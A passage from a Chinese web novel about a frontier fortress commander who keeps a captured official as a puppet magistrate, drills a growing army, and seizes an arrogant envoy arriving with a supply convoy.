秦猛目光扫过王槐、诸葛风、赵开明和李恒,手指重重敲在案上苏珩的名字上,声音沉稳:
“诸位,依我看,这苏珩,眼下非但不是麻烦,反倒是一条财路。不,更准确地说,他是一条蚂蝗!”
他见众人面露疑惑,冷笑道:“咱们正愁军寨发展,钱粮器械不可或缺。帅司草包是指望不上了,幽州那帮蠹虫肥得流油,却处处刁难。
如今,这现成的媒介就握在咱们手里。正好通过他这条‘蚂蝗’,反向吸附在幽州那群官僚身上,一点点吸取养分,索要咱们急需的物资钱粮!”
老保长王槐眉头舒展,咧嘴笑道:“大人高见!这么个废物总算能派上用场,不能白养着!”
秦猛摆手,示意王槐稍安勿躁,继续剖析:“我若是崔文远那老贼,绝不会对苏珩不闻不问,定然会时常派人来试探、接触。
所以,此人绝不能一直关着不见天日,得放出来,让他‘做事’,在军寨不能光吃饭不干活!”
“但是,”秦猛话锋一转,神色锐利,“此人心思活络,又是崔文远心腹,绝不能放松看管。需要咱们中间一位稳重之人,时时带着他。不能让他有独处的机会,以防他耍弄花样。”
“我老了,老眼昏花,腿脚也不利索,这等精细活,怕是盯不住哟。”王槐又率先找了借口。
诸葛风握紧账册,李恒抱臂沉吟,皆未立刻表态。
他们深知此事看似简单,实则需拿捏分寸,既要哄住苏珩,又要防其反噬,责任重大。
沉默片刻,赵开明拱手道:“大人,此事便交由在下来办吧。我曾在幽州数年,与这位苏干办有过数面之缘,由我出面,或可更容易劝说他……暂且‘安分’下来,为咱军寨所用。”
秦猛凝视赵开明片刻,稍作搜索,便点头应允:“好!此事关乎军寨大计,就有劳赵先生费心。”
他特意强调,“我只有一个要求,务必让苏珩在外人面前‘支棱’起来,要让他趾高气扬,如此,方能应付幽州来人,方便我们后续行事。”
“得令,属下必不负大人所托。”
“放心,你不会孤身行事。我会令牛五带队协助。”
第258章 龙抬头日,杀声透雪
转眼间,时间悄然步入二月。
二月初二,民间俗称“龙抬头”之日。
关内腹地中原、江南水乡,此刻大抵已是春雷隐隐,细雨霏微,酝酿着万物复苏的生机。
但这北疆苦寒之地,却仍是风雪统治的疆域。风雪断断续续地下着,严寒没有丝毫退让的意思。
所谓的春暖花开,在此地不过是个遥远的念想,真正的暖意需待三月方能窥见一丝踪迹。
天地间依旧寒风刺骨,四野萧瑟。
然而,与这片荒芜寂寥形成鲜明对比的,是铁血军寨之内一派热火朝天、蒸蒸日上之景。
天光未亮,只有东方天际透出一丝死鱼肚般的灰白。
凛冽的寒风如同无数把冰冷的小刀,刮过附寨新兵营巨大的校场,卷起地上的雪沫打在脸上生疼。
千余新兵已然列队完毕,呵出的白气在昏暗中连成一片翻滚的雾霭。
“列阵!报数!”粗犷的号令如同惊雷,劈开了黎明前的寂静。
“一!”
“二!”
“三!”
“四——!”
……
震天的口号声一浪高过一浪,仿佛要冲破这压城的风雪,显示出压抑不住的磅礴朝气。
这千余人中,八百人是近期招募的新血,他们身上的冬衣虽略杂旧却厚实保暖,外套的铆钉皮甲,在微弱天光下泛着冷硬的光泽。
上一批新兵除了部分留下来,当作新兵营基层军官。其他的全部按照兵种输送至各战兵队。
那五百余个编外队员在老保长王槐的劝说之下,在军寨诱惑待遇的吸引下,纷纷选择落户。
五百个帅司补充的新兵通过观察期后,打散调入各队。那些通过考核的也进入真正的训练。
这一批新兵多是海宁村村民和招募来的青壮组成。底子好,无需像早期流民兵那样先养身体。
故而,训练强度直接提升。
随着新兵教官下令,队长引领,围着校场晨跑。跑完几圈,热身过后,才开始投入训练。
副将刘铁柱像一尊铁塔矗立在风雪中,络腮胡子上已结了一层冰霜。他目光如炬,扫视着开始晨跑的队伍,声若洪钟:“脚步给老子踏稳了!踩在实地上!你们当是踏青游玩吗?
想想你们为何而来!是为了有口饱饭,更是为了有朝一日,能让你身后的父母妻儿不再受冻饿之苦,过上安稳的日子,不再惧鞑虏之刀!”
部将齐达等辅导官则穿梭于各方阵队列之间,以身作则,演示劈杀、格挡之术,高声提醒:“注意间距,保持阵列,战场上,阵列就是你们的命!”
而刘铁柱则深入到刚刚开始练习枪术的方阵中,他夺过一名士兵手中有些歪斜的**,猛地一个标准有力的突刺,枪尖破空,发出“咻”的厉响。
“看好了!枪要稳,心要狠,力从腰起,贯于臂,达于尖!”
“想象你面前就是凶残的**,你软绵绵的,死的就是你。你也护不住身后的妻儿老小。”刘铁柱脾气火爆却有责任心,怒吼在风雪中回荡。
队伍中,一个名叫高二娃的年轻新兵,二十岁出头,咬紧牙关,努力调整着呼吸和步伐。他来自一个被**洗劫过的村庄,侥幸逃生。
刘铁柱的话,像重锤敲在他心上。
他身边的同伴,或许是为了军饷,或许是为了出路,但此刻,一种共同的命运感在严酷的训练中悄然滋生。为了活得安稳,为了杀**。
“杀、杀、杀……”
新兵刺枪时的喊杀声震耳欲聋!
视线越过附寨,军寨各处都沸腾着训练的热浪。
主寨官署后院,百来个亲兵,女兵队苦练搏杀技巧。
军营校场,杀气几乎凝成实质。两百余名老兵,在秦小六和阮大率领下,进行近乎残酷的训练。
他们的劈砍迅如闪电,格挡势大力沉,或分组对抗、搏杀,三三制小队的配合默契到无需言语。
汗水刚渗出毛孔,几乎就被寒意冻住,但他们的动作没有丝毫迟滞。这是军寨的脊梁和尖刀。
——正在扩编的亲卫队,他们待遇好,训练更重,没有口号,只有兵刃撞击的铿锵和压抑的喘息。
寨外后军营,大地在马蹄下痛苦呻吟。五百重骑兵在王善和鲁真的督促下,如同钢铁洪流,反复进行集群冲锋。
人马皆披重甲,远远望去,如同一堵移动的城墙。马槊平端,雪泥在铁蹄下飞溅数丈高。
“保持队形,加速!碾过去!”
王善领队冲锋,吼声在雷鸣般的蹄声中断续传来。
组建重骑兵极为不易,这些精选的骑手和珍贵的青蜉马,装备上军器监修缮改良的奇兵重甲。
与此同时,葫芦口外,常勇、赵虎率领的骑兵因身上的铁甲更轻便,则展现出另一种风格。
他们如同幽灵般在雪原上穿梭,练习着高速奔驰中的劈砍、精准的骑射、以及灵活的迂回包抄战术。
袁飞、徐强等飞虎卫老鸟作为教官,以小队形式分散在各骑兵队,要求极为严苛,任何一个微小的失误都会招来严厉的呵斥甚至加练。
无论是重骑兵还是轻骑兵,都在迅速提升战斗力。正被反复锤炼成撕开敌阵的致命拳头。
寨前军营,秦大
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壮则领着他麾下五百余人的步兵(含马步混编队伍)于此操练。
一时间,军寨各处皆闻杀伐之音!
双涡堡,张富贵的骑兵与王铁山的步兵也在同步操练。
堡外数百骑兵奔腾,雪原上雪人破碎。堡内数百步兵轮番执勤,训练,箭矢破空,刀盾交击。
郡巡检司驻地,比以往任何时候都热闹。庞仁利用职权,在这个冬季大张旗鼓地招兵买马。
驻地外,四百骑兵奔腾;内部校场,三百多新兵参照军寨之法训练。
招募中,发生了庞仁口中的“趣事”:
不少年前被军寨宽大处理,发放钱粮回家过年的地痞流氓,恶**难改,再次欺压乡里。
结果被百姓告到庞仁处,他二话不说,派兵抓回,此刻正对着这群哭爹喊娘的苦工骂骂咧咧:“呸!秦大人心善,给你们机会重新做人,给钱做点小本买卖,你们却不知道珍惜!”
“庞大人,我等知错了。”
“哼,错了?现在晚了!按照我的说法,你们这种渣滓要怎么去改变呢?干到老,做到死。”
“呜呜呜……”
“哭?把你们送到矿坑挖矿?”
庞仁志得意满,有军寨和郡城双重支持,钱粮充足,又在附近深山中发现了一座铜矿,他野心勃勃,计划来年兵力再翻两三番,届时手握重兵,便可与那孙判官好好掰掰手腕。
他对自己的定位很清晰,秦猛要搞幽州官僚,他就搞官僚爪牙,双方齐头并进,合力绞杀。
安然度过冬季**来犯!
铁血军寨招兵买马,兵力已悄然汇聚成一股洪流:
陷阵营(主力野战):
张富贵骑兵五百,王铁山步兵五百,刘铁柱弓箭手五百。王善、鲁真重骑兵五百。
卫戍营(主力守备):秦大壮**兵五百,李山刀盾兵五百,常勇轻骑兵四百(未满编)
军寨核心精锐:亲卫队三百余人(骑)
教导队(飞虎卫)三百,犬兵队两百。
后勤与治安:韩勇部,辅兵五百,治安大队一百。
工兵队:两百人,少青队,女兵队各五十人。
外围力量:庞仁巡检司兵力近千,且仍在扩张。
光是军寨总兵力已逾五千!兵源除流民青壮外,更多是秦猛私下派人远赴各州县,以“一日三餐,饷银不扣”的承诺暗中招募的贫苦健儿。
边塞苦寒,但活路更珍贵,来投军者成群结队。
军寨吸纳的流民劳动力也始终维持在三千左右,开荒、筑城、军工,彰显出一片繁忙的景象。
而军寨如今的总人数——
第259章 万**寨,幽州来使
这天清晨,秦猛在官署中刚审阅完一批军械文书,窗外隐约传来的操练声让他稍感安心。
老保长王槐却拄着拐杖,急匆匆赶来,手上攥着了户籍册子,脸上带着难以掩饰的激动与忧虑。
“大人,统计清了……咱们军寨辖区,所有军民匠户眷口……总人数,突破一万了,成为万**寨。”王槐的声音因激动而略带些颤音。
“什么?”秦猛猛地从案后站起,碰倒了手边的笔架也浑然不觉。他绕过书案,走到王槐面前,眼神锐利:“一万人?老爷子,你确定?这数字……怎会增长如此之快?哪来这么多人?”
他虽然知道军寨在发展,陆续接纳流民安置,但这个**式的数字仍然超出了他的心理预期。
“那是您近来忙着冬季训练,没有留心人口增涨。”老保长翻了个白眼,耐着性子解释起来:
“帅司补充的新兵及家眷,赶车青壮也被挽留,韩勇在幽州招募两批过两千,海宁村村民以及陆续安置的流民,加起来人数,已过万。”
说话间,王槐递上厚厚的册子:“您看吧,本寨兵马已近五千,工匠及其家眷逾两千,待开荒流民安置已近四千,还有陆续来投的附近村民散户、商贾……不知不觉,就已破了万数啊!”
秦猛接过册子,粗略翻看过后,大步走到窗边,推开窗,寒风裹挟着更加清晰的喊杀声扑面而来。
“咱寨总人数近一万一千口,人要吃饭。数千头牲口,牛羊还好,马要吃豆料,还贼能吃……”老保长找了个地方坐下后,掰开手指数着。
“这还不算被说动的五百多编外青壮,赶来的家眷,返回幽州过年开春返回的厢军,届时,必定又是拖家带口,加上流民来,人口暴涨。”
“双涡堡那边千多号人也没有算进去。”
“这人吃马嚼的,每一天,钱粮哗啦啦的没呀!”
越往下说,老人脸上愁容越浓重几分,这数字背后不仅是巨大的成就,也是沉甸甸的责任。
“万人,是座大寨标准,许多人要靠着你秦将军吃饭。以往那套规矩需改进,军寨负担不起。”
“我知道,是我专注练兵,没有精力兼顾军寨事务。”秦猛望着后院操练的士兵,更远处炊烟袅袅的营房,心中莫名涌起一种豪情壮志。听着老保长絮絮叨叨地说的压力,诚恳表态。
“我先去寨内巡视,看看工坊情况,回头咱们再开个会议,商议开春后耕种和下一阶段计划。”
秦猛见老保长似乎又佝偻几分的腰板,却不敢确认他是不是伪装,但还是虚心的接受批评。
随后,他披上大氅,带着一队亲兵走出了官署。先让人分头去通知诸葛风,秦大壮等人。
秦猛刻意没有骑马,而是选择步行,想要真切地看一看这个已悄然间容纳了上万人的军寨。
主寨变化不明显,可刚离开核心区域的官署营房,一种与往日截然不同的喧嚣感便扑面而来。
尽管天气寒冷,地上积雪未化,但寨内主干道上人来人往,比以往任何时候都要热闹。
以往较为空旷的附寨和葫芦口区域,如今已是大变样。
只见原本规划整齐的营房间的空地上,多出了大片临时搭建的茅屋和窝棚,虽然简陋,却能遮蔽风雪,更是规划整齐,街道也很整洁。
许多衣衫虽旧但还算厚实的新面孔正忙碌着,有的在加固房屋,有的在清理门前积雪,还有的妇人聚在避风处缝补衣物、看管孩童。
孩童的嬉闹声、或背着包上学堂、大人的吆喝声、锯木砍柴声交织在一起,充满了烟火气息。
“这些都是年前带着家当来的民众,”随行的刘三低声解释,“他们有些余钱,不是流民。故而,不愿全靠军寨接济,便自己动手搭了屋子。”
“工坊区和集市那边,人更多。”
秦猛微微点头,继续前行。
果然,越靠近寨门和工坊区,景象越是繁忙。
那硬是撑下来的边市区域,虽然设施简陋,但摊位林立,售卖粮食、粗布、盐巴、山货、简易农具的商铺前,竟也出现了络绎不绝的景象。
叫卖声、讨价还价声此起彼伏,俨然一个榷场的雏形。唯一欠缺的就是在动工修建的铺面。
更令人震撼的是整个军寨的建设场面。得益于充足的人力。
冰墙后方预设的寨墙正有人修建,在逐渐加高加厚,壕沟也在进一步深挖拓宽。数以千计的劳力在寒风中忙碌,抬石、运土、夯筑……
号子声震天。新的营房成片地立起,防御工事的延伸肉眼可见。
整个军寨,宛如一个巨大而有序的工地,虽忙碌,却透着一股蓬勃的生机和强大的执行力。
秦猛没有打扰工地的运作,转而走向了城西的军器监区域。
主寨那边的原作坊只负责改良,研究新物什。军器监诞生后,核心作坊就陆续搬到了此处。
这里的规模,比秦猛上次来时又扩大了不少。
隔着老远,就能听到铁匠坊里传来的、如同雷鸣般连绵不绝的打铁声。
数十座熔炉炭火同时燃烧的热浪驱散了严寒。透过敞开的棚户,能看到里面人影憧憧,近百个师傅带着学徒忙碌,铁锤起落,火星四溅。
木工坊里,锯木声、刨木声不绝于耳,制成的枪杆、箭杆堆积如山,还有人在赶制大车和雪橇。
衣甲坊内,数百名妇女埋头赶制冬衣
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和军需,场面壮观。
当秦猛走到戒备森严的火器坊外围时,他的脚步停顿了一下。这里人数虽少,却是军寨未来的依仗之一。
他远远能看到匠人们小心翼翼操作的身影,一股熟悉的石油味道,那是在批量生产**。
砖窑场那边偶尔传来轰隆声响,秦猛能想象到那边,范良正带着人进行的危险而关键的试验。
许多擅长耕种的老农,准备农具,照料着耕牛。一些上了年纪的老汉和妇女,忙着喂食牲口……
每个人有自己的岗位,各司其职。
这一切,都建立在庞大的人口基数和对未来的投入之上。
巡视一圈下来,秦猛所见所闻,心中逐渐明朗。那丝因数字而来的虚幻感,彻底被眼前这真实、庞大、忙碌而充满力量的景象所取代。
喜悦之后,是更沉甸甸的压力。
这一万多人,数千兵甲,数百工匠,三千劳力……他们构成了一个建立在边陲风雪中的微小王国。
而他,就是这个王国的掌舵人。
粮草、被服、军械、饷银、管理、防御等事务繁多。上万人汇聚边寨必然引起各方注意。如近在咫尺的赵将军,必然察觉到军寨在壮大。
当他带着满脑子的思绪和沉重的压力回到官署议事厅时,秦大壮、诸葛风、老保长等核心人员已等候在此。炭火温暖,却驱不散众人脸上的凝重。
秦猛没有客套,直接走到主位,目光扫过众人,沉声道:“近来,军寨的变化,我都看到了。
一万多张嘴巴,五千兵马,以及庞仁那边的编外力量,咱们这个摊子,确实不是以往能比的。”
他肯定了老保长和诸葛风之前的忧虑,接着将巡视所见与未来规划结合:“军寨甲士数千。人力充足,建设日新月异,这是好事。
但目前都是在吃山寨老本,短期内没有问题。然而时间一长,山寨难以负担,必须筹备开春后,耕种、内部管理、防务巩固,千头万绪。以往那套粗放的法子不适合了,必须改!”
会议的重点很快集中在如何高效利用现有资源。开春化冻后,要开垦多少亩荒地,以及军寨的战略重心适当转移,应对内部挑战上。
然而,就在众人讨论方酣之际,亲兵队长**快步而入,在秦猛耳边低语了几句。秦猛的眼神骤然一凝,脸上闪过一丝古怪,但很快恢复平静。
当会议进行到尾声时,他抬手止住了众人的讨论,环视一圈,语气带着一种山雨欲来的压抑。
“诸位,巡检司那边快马上来消息,幽州那边来人了,车队装满了粮食和各种物资往军寨来。”
议事厅内瞬间鸦雀无声,所有人全都面面相觑。
第260章 苏珩的跌宕人生
附寨,监镇官衙门。
这栋坐北朝南、砖石结构的建筑,在附寨区域之内犹如鹤立鸡群,确实显得颇为气派高大。
它与不远处逐渐热闹起来的商业街保持着一段彰显威严的距离,门前的石狮肃立,朱红大门虽未完全漆新,却也透着一股子官家气势。
这本是规划中附寨管理机构的所在地,却被秦猛一道命令,直接挪用拨付,挂上了“监镇衙署”的匾额,成了苏珩苏大人的专属牢笼。
既然是做戏,那就要做得逼真。
秦猛深谙此道,最高明的伪装,便是要骗过自己人,让绝大多数置身其中的人都信以为真。
自改变策略,将苏珩从需要铲除的绊脚石,转变为可从幽州持续“吸血汲取养分”的渠道后,这位苏大人的待遇便发生了天翻地覆的变化。
身上的污垢被仔细洗刷,伤口由军医敷药包扎,换上了柔软的内衬和厚实温暖的棉袄。
一日三餐,不再是发霉的窝头,而是白面馒头管够,甚至餐餐不离诱人的,红烧肉就是回锅肉。
这突如其来的“恩宠”,曾让苏珩吓得魂不附体,一连数日食不下咽,以为这是上路前的“断头饭”,每每对着饭菜泪流满面,瑟瑟发抖。
直到幕僚赵开明按计划登场,送来簇新的绿色官服,脸上堆着热情而不失分寸的笑容,亲自帮他穿戴整齐。
赵开明一边为他整理官袍的腰带,一边推心置腹,言语恳切:“苏兄啊,你我皆是明白人,今日之举,实乃不得已而为之,亦是救你于水火。”
他压低声音,以自己为例,说起过往,痛陈利害:“想我赵开明,昔日也为崔刺史效命11
只因一时糊涂,信了他的承诺,交出手头紧要之物后,换来的不是高升厚禄,而是无穷无尽的追杀!若非命大,早已成了荒郊野骨。
我尚且如此,苏兄你……这些年为崔大人鞍前马后。经手了多少机密事儿,造了多少……
你知晓的内情,比我多十倍不止!崔文远是何等人物,你比我更清楚,心狠手辣,斩草除根是他的本性。
你若回去,或是消息走漏,他岂能容你活命?只怕到时,也被灭口,连累家眷都难以保全啊!”
赵开明的话语如同重锤,一下下敲在苏珩的心上。
他提到“家眷”二字时,苏珩的身体明显颤抖了一下。
赵开明观察着他的神色,继续道:“听兄弟一句劝,速速摆脱这种困境吧,浪子回头金不换。”
眼下,秦知寨虽是用你,却也给了你一条生路。
彻底与过去割裂,寻个新靠山,保全自身,顾全家小,方是上策。
钱财名利皆是身外物,性命和家人,才是根本。孰轻孰重,苏兄是聪明人,还需多想吗?”
在赵开明这条三寸不烂之舌的反复“点拨”和现实处境的双重压力下,苏珩心中那点对崔文远的幻想和对旧日的眷恋,终于一点点瓦解。
他从最初的恐惧、绝望,到自我开导,继而开始接受现实,言行举止也逐渐“正常”起来。
搬进这座衙署,上任监镇官,
不过是换了一个更宽敞、更体面的牢笼罢了。
当然,这衙署也并非完全是空架子。
军寨人口暴增,附寨的日常管理千头万绪,典签赵开明和军寨孔目李恒确实常在此处理公务。
一应文吏进进出出,处理着流民安置、房舍分配、物资调度等琐碎事务,倒也显得繁忙而有生气。
这衙门的防御不容小觑。
整体布局分为处理公务的前堂、官吏休憩的中院、以及后院和两侧营房。
治安大队半数人手在此轮值,另有一队精锐甲士常驻,专司护卫之责。
衙门口有披甲卫士守把,院内时有巡逻队走过,角落的空地上还立着武器架,常有辅兵在此操练,空气中始终弥漫着一股边塞独有的肃杀之气,提醒着苏珩他此刻的真实处境。
此刻,衙署前堂内,炭火烧得正旺,温暖如春。
苏珩穿着那身象征身份的绿色官服,端坐在宽大的公案之后,腰背挺直,似乎在批阅公文。
他的身后,几名铁塔般的披甲侍卫按刀而立,目光如炬,纹丝不动,如同泥塑金刚。
旁边值房内的文吏们偶尔捧着文书进出,都会恭敬地向他行礼请示。
乍一看,这俨然是一位勤勉尽责的监镇官在办公理政。
然而,只有苏珩自己知道,这不过是又一场精心排练的戏码。
送到他面前的公文,内容早已由赵开明或李恒审定,他只需走个过场,提笔在那指定的位置签上“苏珩”二字,再盖上监镇官的大印即可。
轻松,体面,却毫无实权。
本质上有他无他,军寨的机器依旧会照常运转。
但有了他的签名和官印,这些政令便似乎有了“法理”依据,披上了一层“朝廷认可”的外衣。
“有好事,咱们军寨收了,坏事就把他推到前台背锅。”
秦猛的这句论断,早已成为处理苏珩事宜的最高指导原则。
这大半个月下来,效果显著。
附寨的各项事务,均以监镇官衙署的名义颁布施行,井然有序,大多数军民已然习惯,甚至对这位“勤勉高效”的苏大人有了些许正面印象。
“苏大人,这是开春后附寨周边的田地垦荒规划草案,请您过目,若无异议,便可签署用印了。”一名文吏快步上前,双手将一份公文呈上。
苏珩接过,目光扫过标题,内容却未细看,便提笔蘸墨,在末尾签下了自己的名字,然后,他又拿起桌上的官印,郑重地盖了下去。
整个动作流畅而机械。
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“小的这就去办。”文吏恭敬退去。
苏珩望着文吏行礼退去的背影,白净的脸上笑容收敛,难以抑制地浮现出浓重的愁苦之色。
他微微佝偻下挺直的腰背,心中哀叹:“想我苏珩,堂堂幽州刺史心腹干办,往日何等风光,竟会沦落至此,成为他人掌中傀儡,笼中雀鸟!”
真是世事无常,一朝失足,便从云端跌落泥沼。
他至今仍清晰地记得,自己志得意满前来赴任时的意气风发,更难忘踏入军寨地界后,即刻被如狼似虎的军汉拿下,投入暗无天日的地牢,尝遍酷刑,受尽**,尤其是那……
“可恨啊可恨,可恼啊可恼!”每每回想那段经历,苏珩便觉得臀后旧伤隐隐作痛,一股难以言喻的**感直冲头顶,让他下意识地并拢双腿,脸上肌肉抽搐。
不知有多少个夜晚,他从噩梦中惊醒,浑身冷汗淋漓,心悸不已。
他原本以为自己此生已毁,将在无尽的折磨和羞辱中凄惨死去。
万万没想到,峰回路转,他竟又“站”了起来,穿上了官袍,坐进了这气派威严的衙署。
只是,这看似风光的背后,是更深的禁锢。
这衙门里,除了他自己,从文吏到侍卫,甚至那个看似对他推心置腹的赵开明,哪个不是秦猛的人?
他们的热情和恭敬,底下藏着的是冰冷的算计和监视。
苏珩不是蠢人,相反,他极其精明,这一切他看得透彻分明。
也正因如此,他才感到加倍的痛苦和无力。
才三十多岁的年纪,眼角已爬上了细密的皱纹,眉宇间笼罩着一层驱不散的沧桑与颓废。
他现在什么宏图大志都没有了,只求能苟全性命于乱世,但愿远在幽州的家人能平安无事。
就在苏珩神游天外,思绪纷飞之际,一名作探子打扮的汉子快步闯入前堂,单膝跪地,急声禀报:“大人!幽州那边来人了,车队已到军寨后门外!”
“什么?真的来了?”苏珩闻言,几乎是条件反射般从太师椅上弹了起来,脸上瞬间绽放出难以置信的惊喜,原本黯淡的眼神也骤然亮起,仿佛抓住了救命稻草,整个人都容光焕发起来。
然而,这兴奋仅仅持续了一瞬。
他立刻感受到身后几道凌厉如刀的目光刺在自己背上。
那名报信的探子也迅速低头退后几步,姿态戒备。
整个前堂的气氛,因他这失态的反应,瞬间变得凝滞而紧张。
苏珩脸上激动的红光迅速褪去,取而代之的是一种认命般的灰败。
他像一只被抽掉了骨头的鱼儿,颓然跌坐回椅中,无力地摆了摆手,用尽可能平静的语气说道:“来了……那就按规矩,让他们……来衙署拜见吧。”
声音里,带着一丝不易察觉的颤抖和深深的无奈。
第261章 人狂必有祸
军寨后门外,此刻已是喧声鼎沸。
一支规模浩大的车队,沿着被积雪半覆的道路,逶迤而至。
足足上百辆大车,载着沉甸甸的物资,压得车轴吱呀作响。车队周围,是两三百名护送的精壮厢军士卒,以及七八百名形态各异的人员。
领头的是老熟人李双和何方,二人因上次“顺利”送达任命文书和官印而受了褒奖,此番更是被委以重任。
李双主要负责厢军护送,确保车队安全;何方则统领着二十多名文吏和数百名招募来的青壮。
这些青壮中还夹杂着百来个衣着体面、眼神中带着期盼与傲气的良家子弟,多是听闻苏珩在此立足,想来边塞军寨谋个出身、搏个前程的。
军寨孔目李恒和治安官吴二,早已带人在寨门外等候。
按寨中规矩,外来人员物资都需登记造册,统一安置。
李恒笑着上前,正准备接洽。
不料队伍中一个身穿锦袍、约莫二十出头的年轻人,骑着马越众而出,态度倨傲地用马鞭指着李恒,抢先开口:“呔!你们谁是管事的?
我们是幽州苏家派来的,特地来给苏珩苏大人送物资、送人手。赶紧让开,我们要见苏大人!没有苏大人的手令,这些东西,谁都别想动!”
这年轻人名叫苏亮,是苏珩的堂弟,平日里在幽州城仗着家族势力横行惯了,此刻全然没把眼前这“穷乡僻壤”的军寨官吏放在眼里。
他这话一出,不仅李恒和吴二脸色沉了下来,连一旁的李双,何方都皱起了眉头,暗骂这纨绔子弟不懂事。
李恒强压火气,皮笑肉不笑地说:“原来是苏家子弟,失敬。只是军寨有军寨的规矩,一切需按流程来。既然要见苏大人,容我等先去通报一声。”
“算你识相!”苏亮却鼻孔朝天,冷哼了一声。
李恒使了个眼色,一名手下迅速跑向附寨衙署方向。
不多时,返回低声禀报了几句。
与此同时,何方也赶紧上前打圆场,说了几句“一路劳顿,弟兄们心急,望李孔目海涵”之类的场面话。
经过这番波折,物资和人手的交接才勉强算是开始进行。
一辆辆大车被缓缓引入寨内,车上满载着粮食、衣被、皮甲、弓刀武器等军寨急需的物资。
这些都是苏家为了支持苏珩在军寨站稳脚跟、笼络人心而花费重金置办的,也得到了崔文远的默许甚至推动,又招募人手一同送过来。
他们天真地以为,只要苏珩顶着监镇官的名头,军寨上下包括秦猛在内便不敢有出格的行为,就得对他恭敬有加,这些投资迟早会有回报。
他们却忘了自己剥削百姓,坏事做尽,从一开始就未曾遵守过朝廷王法,却一厢情愿地指望别人也会遵守他们想象中的“王法规矩”。
他们更想不到,这一大批物资和的青壮人力,一旦进入军寨,便如同肉包子打狗,有来无回,
非但不会增强苏珩的实力,反而是在资敌,壮大军寨的力量。
物资交接尚未完全结束,那苏亮便已按捺不住。
他招呼了七八个好友及大群护卫帮闲,趾高气扬,吆五喝六要人带路,如同检阅自己的领地一般,前往监镇官衙门找堂兄苏珩谋取差事。
这一行数十人浩浩荡荡闯入军寨,马蹄声嘚嘚,旁若无人。
附寨区域虽显杂乱,但人来人往,充满生机,尤其是那片临时形成的集市,更是人声鼎沸,叫卖声、议价声不绝于耳,显露出一股顽强的活力。
苏亮骑在马上左右张望,嘴角撇着,眼中满是不屑,对身旁的同伴嗤笑道:“哼,穷乡僻壤,倒是聚了不少泥腿子,也就这点热闹能看了。”
他丝毫没有下马的意思,反而一夹马腹,欲要纵马,带着队伍横穿这人流密集的区域。
就在此时,几个追逐嬉戏的孩童恰好从巷口冲出,笑闹着跑到了路中央,正好挡在了苏亮的马前。
事发突然,孩子们吓呆了,愣在原地。
“哪里来的小野种,滚开!”苏亮非但没有勒马,反而嫌恶地大骂一声,竟似要直接策马撞过去。
眼看沉重的马蹄就要踏上那瘦小的身躯,周围响起一片惊呼!
千钧一发之际,一道身影如猎豹般从旁侧急掠而出!
正是巡寨至此的林怒。
他身形快得带起一阵风,电光火石间已冲到近前,一把抱住离马蹄最近的那个孩子,顺势一个凌厉的侧踢,脚背重重踢在苏亮坐骑的脖颈上。
“唏律律……”
那马儿吃痛,发出一声长嘶,猛地人立而起。
苏亮猝不及防,差点被直接甩飞出去,吓得魂飞魄散,死命抱住马颈才稳住身形,模样狼狈不堪。
“哪个王八蛋敢踢老子的马。”苏亮惊魂未定,勃然大怒,一张脸涨成了猪肝色,指着林怒破口大骂。
林怒将吓得哇哇大哭的孩子交给急忙跑来的居民,转过身,面色沉静如水,目光却锐利如刀,直视苏亮:“军寨规矩,寨内不得纵马驰骋。
尤其这人流密集处。惊扰居民,险些伤及孩童,你可知罪?”
苏亮闻言,像是听到了天大的笑话,仰天狂笑起来,用马鞭指着林怒:“规矩?哈哈哈!你算个什么东西,也敢跟本公子讲规矩?
我乃幽州苏家的人,我堂兄是这里的监镇官苏珩。就这么一个破军寨,规矩还管到老子头上了?”
他骂得嚣张,神色倨傲,不由自主地扫向四周。
这一闹,早已惊动了附近的人群。
原本喧闹的集市安静下来,无论是摆摊的小贩、路过的居民,还是闻声赶来的披甲军汉,都停下了手中的活计,默默地围拢过来。
一道道目光沉静却带着不善,无
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声地聚焦在苏亮这一行人身上,空气中弥漫开一股令人心悸的压力。
苏亮虽狂妄,却也不傻,眼见群情汹汹,尤其是那些围过来的军汉,个个眼神冰冷,手按刀柄,他知道再闹下去,恐怕要吃亏。
他强压下怒火,恶狠狠地瞪了林怒一眼,撂下句狠话:“好,好你个丘八。敢得罪我苏家,你给我等着。到了我堂兄那里,有你好瞧的,我们走!”
说罢,他悻悻地拨转马头,不敢再纵马了。在一片压抑的寂静和居民们愤怒的目光中,一行人过了商业街,来到那座气派的监镇官衙署门。
“随我来!”苏亮不等通报,大大咧咧地就往里闯,门口卫士早得到过吩咐,并未强行阻拦。
一进前堂,苏亮便看到端坐公案后的苏珩,他更是得意,快步上前,也忘了行礼,直接嚷嚷道:“堂兄,你可算在这儿站稳脚跟了。
这破军寨人倒是不少,就是看着忒穷酸了些!那个什么知寨官秦猛呢?怎的不出来迎接?赶紧叫他来,给我和这几位兄弟安排个好差事!”
他唾沫横飞,声音响亮,浑然没注意到堂兄苏珩脸上那拼命眨眼睛、使眼色的焦急表情,以及堂内骤然降至冰点的气氛和侍卫们眼中泛起的寒光。
苏珩心中叫苦不迭,恨不得冲上去捂住这蠢材的嘴。别说他是个傀儡,就算真的是个真监镇官,在这边寨直呼主将名讳,不是找死吗?
苏亮见苏珩只是挤眉弄眼却不答话,还以为他摆官威,更加不满,声音又提高了八度。
“堂兄,你倒是说话啊!难不成这军寨里,你这监镇官还做不了主?怕他一个武夫作甚……”
“哐当!”
他话音未落,衙署大门被猛地关闭,发出一声巨响。
紧接着,两侧廊下和后方屏风处,如潮水般涌出数十名顶盔贯甲、手持棍棒绳索的彪悍军汉。
不由分说,如狼似虎地扑了上来!
“啊!你们干什么?”
“大胆!我乃欧州长史之孙,你们敢……堂兄,救我!”苏亮猝不及防,被人一脚踹在腿弯,扑通一声摔了个狗吃屎,随即被反剪双臂,捆了个结结实实。
他带来的那些良家子弟也吓得惊呼说着我爹是谁谁谁,瞬间便被军汉们踢倒制伏,按倒一地。
苏亮拼命挣扎,抬头向公案后望去,嘶声求救。
然而,迎接他的,只有浑身抖动如山康的堂兄苏珩那张煞白如纸、写满了“蠢货害我”的绝望脸庞。
戏剧性的转折瞬间完成,苏亮的嚣张气焰被彻底扑灭,只留下一地鸡毛和深埋在心底的恐惧。
直到此刻,他才意识到,这里是边塞!幽州城离此数百里地,家族势力再强,也鞭长莫及!
衙署前堂的骚动持续短暂,苏亮一行人被如拖死狗般押走,只余下苏珩面无人色地瘫坐,心中一片冰凉。
第262章 分而治之,恩威并施
铁血军寨这台高效的机器,在面对这突如其来的数百人和大量物资时,立刻展现了其强大的消化能力。处置过程雷厉风行,条理分明。
那数百青壮劳力,尚未看清环境,便按照流程,先被登记造册,再被引领至西边新开辟的营地。
